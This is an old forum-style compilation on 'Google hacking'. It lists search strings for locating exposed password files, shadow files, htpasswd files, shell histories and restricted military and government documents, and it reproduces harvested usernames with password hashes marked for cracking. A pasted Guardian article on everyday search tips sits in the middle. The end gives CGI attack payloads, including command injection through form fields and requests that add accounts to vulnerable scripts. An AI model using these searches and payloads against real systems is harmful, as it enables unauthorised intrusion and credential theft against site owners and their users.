Everyone knows google in the security sector...and what a powerful tool it is , just by entering certain search strings you can gain a vast amount of knowledge and information of your chosen target...often revealing sensitive data...this is all down to badly configured systems...brought on by sloppy administration allowing directory indexing and accessing , password files , log entrys , files , paths ,etc , etc

Search Tips

so how do we start ?

the common search inputs below will give you an idea...for instance if you want to search for the an index of "root"

in the search box put in exactly as you see it in bold

==========

example 1:

allintitle: "index of/root"

result:

what it reveals is 2,510 pages that you can possible browse at your will...

==========

example 2

inurl:"auth_user_file.txt"

this result spawned 414 possible files to access

here is an actual file retrieved from a site and edited , we know who the admin is and we have the hashes thats a job for JTR (john the ripper)

txUKhXYi4xeFs|master|admin|Worasit|Junsawang|xxx@xxx|on
qk6GaDj9iBfNg|tomjang||Bug|Tom|xxx@xxx|on

with the many variations below, it should keep you busy for a long time mixing them reveals many

different permutations

****

SEARCH PATHS more to be added

****

"Index of /admin"
"Index of /password"
"Index of /mail"
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
index of ftp +.mdb allinurl:/cgi-bin/ +mailto

administrators.pwd.index
authors.pwd.index
service.pwd.index
filetype:config web
gobal.asax index

allintitle: "index of/admin"
allintitle: "index of/root"
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov

inurl:passwd filetype:txt
inurl:admin filetypeAbiggrinb
inurl:iisadmin
inurl:"auth_user_file.txt"
inurl:"wwwroot/*."

top secret site:mil
confidential site:mil

allinurl: winnt/system32/ (get cmd.exe)
allinurl:/bash_history

intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst

intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" members OR accounts
intitle:"index of" user_carts OR user_cart

ALTERNATIVE INPUTS
Spoiler (Click to View)

there are two many people to thank for the bits of information cut and pasted and added to form this paper
most have been collected from various forums , txt , doc's etc...like to thank you all, its not intended to rip anyone
its just a combo of various search inputs...put on the one Paper to use as a reference.

Some theory on the google..
Specific filetypes are: *.xls, *.doc, *.db, *.mdb, *.cfg, *.pwd etc etc, use your emagination willya?

Commands you can use
Filetype:xls would bring only .xls (Excel files) in your results.
Filetype:mdb would bring only .mdb (MS Access) files in your results
etc etc, you get what I mean..

Inurl:admin would bring you a result where the word admin is in the URL
Inurl:webadmin.php would bring you a result where you can find some nice webadmin.php editors, many unprotected.

"Index of" root Would give you the index of root folder in a webserver.
"Index of" admin Yeah, guess..

Site:gov would bring up only .gov domains.
Site:co.uk should bring up only .co.uk domains..

Intitle:anyword would, guess what.., find pages with the anyword word in the title!

And now to combine these fine searchoptions
inurl:nasa.gov filetype:xls "restricted"
site:mil filetype:xls "password"
site:mil "index of" admin
- USE YOUR IMAGINATION!

Words to search for, which is probably a good bunch of words can be some of these:

password, passwords, uid, user, userid, username, pass, pwd, account, accounts, login, logins, secret, secrets. all followed by either .mdb, .db, .xls .doc or any other nice file extension.

Some theory and thoughts
Admin.cfg - is mostly a config file of some sort. It shouldnt be accesible via the web, but hey, it's the year of 2003, anything's possible..
try i.e. inurl:admin.cfg "index of"
or something like that.

webeditor.php - an official editor to edit the web page. Used by admins all over the world.
Searc for it and you might strike gold.. or not

Intitle restricts your search to titles of the web pages.
Allintitle does the same, but where all the words in the searchstring must be in the title.
intitle:"Gorge Bush"
allintitle:"money supply" economics

_____
Inurl restricts your search to the URL of web pages.
Inurl:help
Inurl:Search Help

_____
Intext searches only bodytext (Ignores link text, URLs and titles)
intext:"yahoo.com"
intext:html

_____
Inanchor searches for a page's link anchors. A link anchor is the descriptive text of a link. For example in A Cool Page the anchor is "A Cool Page".
inanchor:"t0bban"

_____
Site allows you to narrow down your search by either a site or a top level domain.
site:loc.gov
site:thomas.loc.gov
site:edu
site:nc.us

_____
Link returns a list of pages linking to that specific URL.
Use link:Google and you'll end up with a bunch of pages which all link to Google.com. (Don't bother to put http:// infront, google just disregards it)..
link:Google

_____
Cache finds a copy of the page that Google indexed even if that page is no longer availible at it's original URL or has since changed it's content completely. This is great for pages that changes often.
cache:Google

_____
Daterange limits your search to a particular date or range of dates that a page was indexed.
NOTE: It works with Julian, not Gregorian dates.
"George Bush" daterange:2452389-2452389
neurosurgery daterange:2452389-2452389

_____
Filetype searches the suffices of filename extensions.
As long as the site isn't hiding behind proxy'ing stuff, or redirection, this is great.
filetype:pdf homeschooling
"leading economic indicators" filetype:ppt

_____
Related as you might expect, finds pages that are related to the specified page. This is a good way to find categories of pages; a search for related:google.com would return a variety of searchengines, including HotBot, Yahoo! and Northern light.
related:Yahoo!
related:CNN.com International - Breaking, World, Business, Sports, Entertainment and Video News

_____
By using: "Index of /" +password.txt" via google

How to Get into A Site that Seems to Be Shut Down

Next, let's find out how to look inside an Internet host computer that doesn't let you normally view its web site. Here's a slightly foobarred example of http://www.foopowersearch.com. Sure enough, its web site is unavailable. But we're hackers, so maybe we can prowl around anyhow.

We can skip the use of a search engine on this one by just entering interesting URLs. Or you could use a search engine to find those hidden interesting URLs for you. You can go to Google.com and use the search term inurl:foopowersearch.com to find out everything its amazingly sophisticated web crawlers might have located on that site. With Google, if the site is even not connected to the Internet that day, you can also use its archives of sites to get a stored copy. Or, try Archive.org, which carries copies of many web sites so detailed that you can sometimes even view copies dating back to the mid-90s.

How to Find Hidden Music Files

Let's start with something fun and useful. You can get sued or infected by viruses by using a peer-to-peer file program to download music from other folks, home computers. However, there are many Internet servers that offer free, legal music. Here's a way to find even the most obscure of them, even find files that aren't listed on the web page associated with the download site. Most ftp servers (which offer downloads) keep everything in a directory called ftproot.

Try a Google search on inurl:ftproot. Here's one I found.

Using a download site such as this is pretty good insurance against getting sued for music piracy. Although some sleazy web sites do offer pirated music files, they get shut down fast. In this case, by using the "Index of" search trick, you have found a way to view the web site that tells you the dates of its files. This site has clearly been in business a long time. This suggests it isn't a piracy site.

Most importantly, you can read the date of each individual music file. If it is before 2003, you can be pretty sure it isn't one of those fingerprinted files the RIAA is using to catch pirates. And if you swear off using peer-to-peer file sharing programs entirely, no one is going to be able to use these programs to snoop on your hard drive.

How to Find Password Files

Is this too boring? Let's hunt for passwords. A search on Google for intitle:"Index of /etc" brings up

OK, that file that says "passwd" looks really interesting. You can read it with your browser by just clicking on it. However, you are likely to be disappointed. You'll probably see something like this. No actual passwords.

Their are several reasons for this. Today most Unix and Linux computers keep mostly just user names in the file /etc/passwd. Some don't even keep user names because a different computer might be handling authentication.

Despite this, the contents of this /etc/passwd are really exciting. This reveals the user names of the people who are probably deeply involved in running this Internet server: dave, nick, pete, ben and rwn. You can probably email them at, for example, dave@foogardelinux.org and so forth. Note that I have foobarred the real name of this web server so as to not embarrass themSmiling

---

Admin Directories

_____

Nothing really new in this article but one thing i found interesting was there privacy policy.
Taken from The Guardian

Delivering the goods

There's no doubting Google's power and popularity. Yet few of us use the search engine effectively. Jack Schofield offers some tips

Thursday January 8, 2004
The Guardian

Google is now the world's most powerful website, and if it goes public this year, its young founders, Larry Page and Sergey Brin, will become extremely rich. Their five-year-old company has already cracked its biggest problem, which is how to make pots of money from selling advertising space without carrying any banner ads. And while there are other places to search the web, most websites are now dependent on Google for a large proportion of their new visitors. The question that drives all but a few commercial webmasters today is: "How do I change my site to make it appear on the first page when someone searches Google?"
What is even more impressive is that Google has achieved its supremacy by word of mouth: by delivering what users want. That has helped it retain users' confidence while doing things that might have raised concerns about invasion of privacy elsewhere. For example, Google almost certainly knows more about you than you would tell your mother. Did you ever search for information about Aids, cancer, mental illnesses or bomb-making equipment? Google knows, because it has put a unique reference number in a permanent cookie on your hard drive (which doesn't expire until 2038). It also knows your internet (IP) address.

Google's privacy policy says that it "notes and saves information such as time of day, browser type, browser language, and IP address with each query. That information is used to verify our records and to provide more relevant services to users. For example, Google may use your IP address or browser language to determine which language to use when showing search results or advertisements." (See Google Privacy Center).

If you add the Google Toolbar to your Windows browser, then it can send Google information about the pages you view, and Google can update the Toolbar code automatically, without asking you. However, you can disable the Toolbar's "advanced features" by going to the Google menu and selecting privacy information. And it isn't "spyware" because Google isn't collecting information to sell, just to provide you with better searches.

People could also get better results simply by improving their search techniques. Few bother, which is a pity, because fruitless searches waste a lot of time. If you make more than a dozen searches a day, then a small improvement in your techniques can deliver dramatic benefits. With that in mind, here are my top 10 search tips.

Imagine what you want

It may sound obvious, but you have to search Google for the words that will be on the page you want, not for a description of the page or website. For example, if you wanted to find a comparative review of various PDAs, then - using the convention that anything inside square brackets is what you would type into Google - you could search for [comparative review of pdas]. The alternative is to imagine the sort of review you want. It will probably include the words Palm, Pocket PC, iPaq and Clie, so instead, try searching for [review palm pocket pc ipaq clie].

Use quotation marks

If you search for, say, [John Adams], Google will find all the pages with John and all the pages with Adams, even if the words are unconnected. This finds 3.6m hits. However, if you put the words in quotation marks, this tells Google to treat them as one unit. Using ["John Adams"] eliminates 3m hits. It is especially important to use quotes if you are looking for something that includes a "stop word". These are the words Google ignores, because they are too common. They include: a, about, are, at, by, from, I, in, of, how, la, that, the, this, to, will, who, what, where, and when. If you search for the band [the smiths] then Google will ignore "the," the stop word, so it is better to search for ["the smiths"]. However, if your search only contains stop words, Google will search for them, though ["the who"] still works better than [the who].

Use the + sign

Another way to make sure Google includes a particular word in its search is to put a plus sign in front of it.

Use the - sign

The plus sign adds a word to a search so using a minus sign takes one away. This is very useful as a way of eliminating lots of hits you don't want. I frequently search for technical information on stupidly difficult things such as transferring files from a MiniDisc player to a PC, and often get deluged with results from shopping and price comparison sites such as Dealtime, Kelkoo and Bizrate. Many of these can be eliminated by adding -merchant to the search term.

Try a wild card

Some experienced searchers don't like Google because they think it doesn't allow them to exploit hard-won skills in creating Boolean searches using "wild cards" and AND and OR commands (see below). But Google understands more than it often lets on. For example, suppose you want to find a number of quiz sites that decide what kind of flower, bird, geek or tin-pot dictator you are. You will probably be surprised to hear that searching for ["what * am I"] will do that, with the asterisk acting as a "wild card" for any word. You can also use two or more asterisks together for longer phrases. Searching for ["from * to * pc"] can be useful, and wild cards are not counted in the 10-word search allowance.

Use the site: command

Look at a page of Google results and you should notice that some hits are indented. This is because many sites would produce thousands of hits for a term, but Google shows only two from each site. It indents the second result and adds a link that offers "More results from" that site. For example, search for ["nathan

milstein"] then scroll down and click on the link for "more results link for classical.onino.co.uk". This restricts the hits to that site. Now if you look in the search box, you will see that it says site:classical.onino.co.uk. This is the site: command, and you can type it in directly to search any site you like. It helps, of course, if the site has a short name, such as imdb.com [tampopo dvd site:imdb.com]. The neat thing is that you don't have to use a whole site name: you can search or exclude whole domains. For example, you can search for [tampopo dvd site:co.uk] or [tampopo dvd -site:com].

Use the operators

The site: operator is one of a long list that Google understands. These include filetype: (eg doc or pdf), intext: and allintext:, intitle: and allintitle:, inurl: and allinurl:, author: (in Google Groups) and location: (in Google News). What is the rest of the world saying about Beagle 2? Search for [beagle+2 -location:uk] to find out.

Google also understands a logical OR, as long as it is in caps. This means you can search for a hotel in Leeds OR Bradford, for example. It is very useful when people, places or things have alternative or variable spellings: [outsourcing bombay OR mumbai]. The OR command can be shortened to a vertical bar (|), as in [outsourcing bombay | mumbai]. Another way of adding alternatives is to use a twidde or tilde character (~). Thus if you search for [~food], Google also searches for cooking, cuisine, nutrition, recipes and restaurants.

The Advanced Search page

Fortunately, you don't have to learn all these special operators to use them. All you have to do is click on Google's Advanced Search link. This brings up a form with drop-down menu choices that lets anyone make complex searches without even thinking about it. This page includes options to search a particular period or pages in a specified language.

Other enhanced searches

Google is always adding new features, and as well as being a search engine, it also works as a dictionary (defineSmiling, a glossary , and a very powerful calculator. It can even work out [the answer to life, the universe and everything]. But Google has also opened up its programming interface (API) so that other people can create applications to search its database of web pages. So far, most of these experiments are not very useful, but you can search recently added pages at GooFresh and compare results for keywords at GoogleFight. For more examples, see Google Tools.

Try a different search engine

Google is wonderful, there's no doubt about that. However, it does not always find the pages you want, so it is just as well to keep some alternatives handy. The main ones include stalwarts Alta Vista and All The Web, plus Vivisimo Vivisimo.com and Teoma. There are also "metasearch" search engines such as Dogpile and Metacrawler, which will send your query to several search engines at once. Google knows you have a choice, and it doesn't hurt to exercise it from time to time.

More from the Online team

Relevant articles
09.09.2003: Net notes: Google
01.11.2003: Microsoft runs search for a way to take over Google
18.02.2003: Google buys Blogger web service

Google comment
25.10.2003: Edmond Warner: Googlemania could crash to earth
27.02.2003: Simon Waldman: Google is the net dominator

Useful links
Google - corporate information
SearchEngineWatch.com
Search Engine Showdown

/cgi-bin/mailit.cgi
Post Data:
MailTo=docl&Error=&Sucess=|echo;ls -al
****
/cgi-bin/dbm-passwd.cgi
Add username and password:
ADD+pfilelocation+username+password
****
/cgi-sys/guestbook.cgi
server browsing:
user=cpanel&template=|command|
****
/cgi-bin/w_mem.cgi?debug_on=1
&action=add&SiteID=ptnprn&sys_pass=m4rqqueyt391&username=HackO&password=RuleZ
****
to be found in cgi-bin dir:
ubpasswd.cgi
POST data:
act=ins&user=&pass=
OR
act=del&user=

no need to use the intitle operator if you want to restrict your search to a specific domain, use the site operator instead. Like explained in the paper i posted previously. there is a table resuming the different operator.

exemple:

"index of /private" site:mil

you can also use negate this operator

exemple"

"index of /private" -site:net -site:com -site:org

Hope all you search for study, know.. and everything